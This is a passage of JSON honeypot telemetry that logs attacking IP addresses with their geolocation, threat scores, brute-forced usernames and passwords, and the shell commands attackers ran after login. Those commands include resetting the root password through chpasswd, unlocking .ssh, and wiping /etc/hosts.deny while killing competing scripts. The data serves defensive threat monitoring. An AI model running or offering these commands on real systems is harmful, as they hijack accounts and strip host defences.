      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T01:18:14.753000+00:00",
        "last_seen_30d": "2026-05-24T02:05:49.543000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 212,
        "Suricata": 46
      }
    },
    "165.154.60.76": {
      "attack_count": 192,
      "first_seen": "2026-05-28T00:46:20.455Z",
      "last_seen": "2026-05-28T01:14:45.761Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "kali",
        "teamspeak",
        "work"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "Changeme123",
        "Test123",
        "admin`123",
        "asd123!@#",
        "fjbdfdjkdsfs541544",
        "kali",
        "qwe#2020",
        "qwe123",
        "qwe852",
        "teamspeak",
        "work"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\nNRlkRxFd5g9r\\nNRlkRxFd5g9r\\n\"|passwd",
        "echo \"root:ILs45H02wwrd\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\nNRlkRxFd5g9r\\nNRlkRxFd5g9r\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 32.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T00:46:20.455000+00:00",
        "last_seen_30d": "2026-05-28T01:15:55.472000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 192,
        "Suricata": 35
      }
    },
    "222.127.68.176": {
      "attack_count": 190,
      "first_seen": "2026-05-19T06:47:40.879Z",
      "last_seen": "2026-05-19T17:54:59.636Z",
      "sessions": 95,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:47:40.879000+00:00",
        "last_seen_30d": "2026-05-19T17:56:03.618000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 190,
        "Suricata": 95
      }
    },
    "27.18.171.58": {
      "attack_count": 180,
      "first_seen": "2026-05-19T06:50:59.680Z",
      "last_seen": "2026-05-19T17:42:34.446Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:50:59.680000+00:00",
        "last_seen_30d": "2026-05-19T17:43:36.139000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 98
      }
    },
    "119.28.9.170": {
      "attack_count": 177,
      "first_seen": "2026-05-20T04:31:01.072Z",
      "last_seen": "2026-05-20T04:59:39.673Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12qwaszxc",
        "153624",
        "1qayxsw2",
        "P@ssword@2013",
        "ParolaMea02__",
        "abcabc123",
        "bl0wf1sh",
        "claude",
        "davis",
        "elsa123",
        "esbuser",
        "jessica",
        "jira@123",
        "nexus",
        "nicodemus",
        "nimda321",
        "q1w2e3r4t5y6u7i8o9p0",
        "qwer!@#$"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 241,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T04:31:01.072000+00:00",
        "last_seen_30d": "2026-05-20T05:00:47.398000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 177,
        "Suricata": 64
      }
    },
    "118.26.36.195": {
      "attack_count": 154,
      "first_seen": "2026-05-13T06:42:22.143Z",
      "last_seen": "2026-05-28T10:32:41.120Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "remote",
        "345gs5662d34",
        "a",
        "admin",
        "admins",
        "gbasedbt",
        "rtc",
        "soporte",
        "ton",
        "user",
        "user33",
        "vpn",
        "www"
      ],
      "passwords_attempted": [
        "000000",
        "112358",
        "123123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Asdf123456.",
        "Lh123456@",
        "Mz123456",
        "admins",
        "fjbdfdjkdsfs541544",
        "gbasedbt",
        "password",
        "remote",
        "rtc",
        "soporte",
        "ss",
        "user33",
        "www@123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"remote\\njBs7eJYJN9Xq\\njBs7eJYJN9Xq\\n\"|passwd",
        "echo -e \"remote\\njBs7eJYJN9Xq\\njBs7eJYJN9Xq\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 43.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 199,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T06:42:22.143000+00:00",
        "last_seen_30d": "2026-05-28T10:33:46.393000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 154,
        "Suricata": 45
      }
    },
    "138.121.106.221": {
      "attack_count": 146,
      "first_seen": "2026-05-18T21:54:24.772Z",
      "last_seen": "2026-05-19T06:14:34.142Z",
      "sessions": 73,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Jun\u00edn",
      "asn": 263790,
      "as_org": "RED POWER INTERNET SRL",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 220,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:54:24.772000+00:00",
        "last_seen_30d": "2026-05-19T06:15:38.111000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 146,
        "Suricata": 74
      }
    },
    "171.25.158.47": {
      "attack_count": 144,
      "first_seen": "2026-05-30T19:45:44.021Z",
      "last_seen": "2026-05-30T20:10:53.524Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "mysqld",
        "345gs5662d34",
        "ali",
        "bryan",
        "ftp_test",
        "myuser",
        "oracle",
        "sftpuser"
      ],
      "passwords_attempted": [
        "!QAZ2wsx2025",
        "123123",
        "123456",
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd.2026",
        "P@ssw0rd@2023",
        "Pa$$w0rd",
        "Pass@321",
        "ali",
        "aliali",
        "bryan",
        "mysqld",
        "qwe12345.",
        "server10",
        "test"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"mysqld\\nIPBc5paJ8JBT\\nIPBc5paJ8JBT\\n\"|passwd",
        "echo -e \"mysqld\\nIPBc5paJ8JBT\\nIPBc5paJ8JBT\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Vaxjo",
      "asn": 35100,
      "as_org": "Patrik Lagerman",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 183,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T19:45:44.021000+00:00",
        "last_seen_30d": "2026-05-30T20:11:58.271000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 39
      }
    },
    "104.243.46.222": {
      "attack_count": 132,
      "first_seen": "2026-05-08T05:58:22.398Z",
      "last_seen": "2026-05-31T06:57:49.689Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Miami",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:58:22.398000+00:00",
        "last_seen_30d": "2026-05-31T06:58:52.272000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 88,
        "Suricata": 65
      }
    },
    "95.71.127.158": {
      "attack_count": 128,
      "first_seen": "2026-05-27T22:47:54.076Z",
      "last_seen": "2026-05-29T19:19:33.832Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "app",
        "deploy",
        "dev",
        "vpsuser"
      ],
      "passwords_attempted": [
        "0123456789",
        "123",
        "147258369",
        "345gs5662d34",
        "P@ssw0rd2025",
        "app123",
        "asdzxc",
        "root"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:qjNWSmLBHsYC\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Belgorod",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 34.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.2,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 167,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:47:54.076000+00:00",
        "last_seen_30d": "2026-05-29T19:20:50.969000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 39
      }
    },
    "49.207.40.162": {
      "attack_count": 123,
      "first_seen": "2026-05-27T00:35:04.867Z",
      "last_seen": "2026-05-27T01:07:16.887Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "amssys",
        "lucas",
        "systemd",
        "ubuntu"
      ],
      "passwords_attempted": [
        "1221",
        "3245gs5662d34",
        "345gs5662d34",
        "Aa112233.",
        "Abcd1234.",
        "Password1",
        "Voidsetdownload.so",
        "a123456789.",
        "abcd1234",
        "abcd@1234",
        "amssys",
        "fjbdfdjkdsfs541544AA@@",
        "lucas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:Rnu0jeFA0tTt\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 153,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:35:04.867000+00:00",
        "last_seen_30d": "2026-05-27T01:08:23.411000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 123,
        "Suricata": 30
      }
    },
    "142.44.247.134": {
      "attack_count": 114,
      "first_seen": "2026-05-08T03:56:36.024Z",
      "last_seen": "2026-05-31T01:33:32.230Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 53.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:56:36.024000+00:00",
        "last_seen_30d": "2026-05-31T01:34:32.811000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "144.217.74.127": {
      "attack_count": 114,
      "first_seen": "2026-05-09T12:33:47.703Z",
      "last_seen": "2026-05-31T01:13:21.642Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Beauharnois",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 52.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.2,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:33:47.703000+00:00",
        "last_seen_30d": "2026-05-31T01:14:22.538000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 57
      }
    },
    "198.204.244.210": {
      "attack_count": 78,
      "first_seen": "2026-05-03T15:30:30.612Z",
      "last_seen": "2026-05-12T12:48:16.223Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 33387,
      "as_org": "Nocix, LLC",
      "threat_score": 14.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.6,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 91,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T15:30:30.612000+00:00",
        "last_seen_30d": "2026-05-12T12:49:21.666000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 52,
        "Suricata": 39
      }
    },
    "89.185.81.112": {
      "attack_count": 64,
      "first_seen": "2026-05-06T07:50:19.068Z",
      "last_seen": "2026-05-30T19:14:02.719Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi",
        "P",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Oslo",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 53.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.3,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 107,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:50:19.068000+00:00",
        "last_seen_30d": "2026-05-30T19:15:09.404000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 64,
        "Suricata": 43
      }
    },
    "139.135.42.146": {
      "attack_count": 50,
      "first_seen": "2026-05-04T16:34:33.913Z",
      "last_seen": "2026-05-04T16:39:58.320Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 3.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T16:34:33.913000+00:00",
        "last_seen_30d": "2026-05-04T16:41:05.909000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "223.123.73.198": {
      "attack_count": 50,
      "first_seen": "2026-05-26T07:31:38.200Z",
      "last_seen": "2026-05-26T07:37:02.646Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 26.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T07:31:38.200000+00:00",
        "last_seen_30d": "2026-05-26T07:38:03.177000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "115.49.30.73": {
      "attack_count": 48,
      "first_seen": "2026-05-20T23:49:16.020Z",
      "last_seen": "2026-05-20T23:54:27.369Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 21.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:49:16.020000+00:00",
        "last_seen_30d": "2026-05-20T23:55:35.297000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "46.8.31.109": {
      "attack_count": 42,
      "first_seen": "2026-05-09T10:16:30.228Z",
      "last_seen": "2026-05-17T14:55:36.587Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kazakhstan",
      "country_code": "KZ",
      "city": "Karaganda",
      "asn": 203087,
      "as_org": "Fedinyak Sergey Vyacheslavovich",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.9,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T10:16:30.228000+00:00",
        "last_seen_30d": "2026-05-17T14:56:46.119000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 21
      }
    },
    "119.157.76.31": {
      "attack_count": 32,
      "first_seen": "2026-05-31T06:14:35.843Z",
      "last_seen": "2026-05-31T06:18:07.396Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Karachi",
      "asn": 136525,
      "as_org": "Wancom Pvt Ltd.",
      "threat_score": 29.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T06:14:35.843000+00:00",
        "last_seen_30d": "2026-05-31T06:19:11.500000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 32,
        "Suricata": 17
      }
    },
    "14.116.150.36": {
      "attack_count": 30,
      "first_seen": "2026-05-11T02:30:21.113Z",
      "last_seen": "2026-05-11T02:31:05.595Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "------fuck------",
        "5nWt3P-fF4WosQm5O",
        "Test@2022",
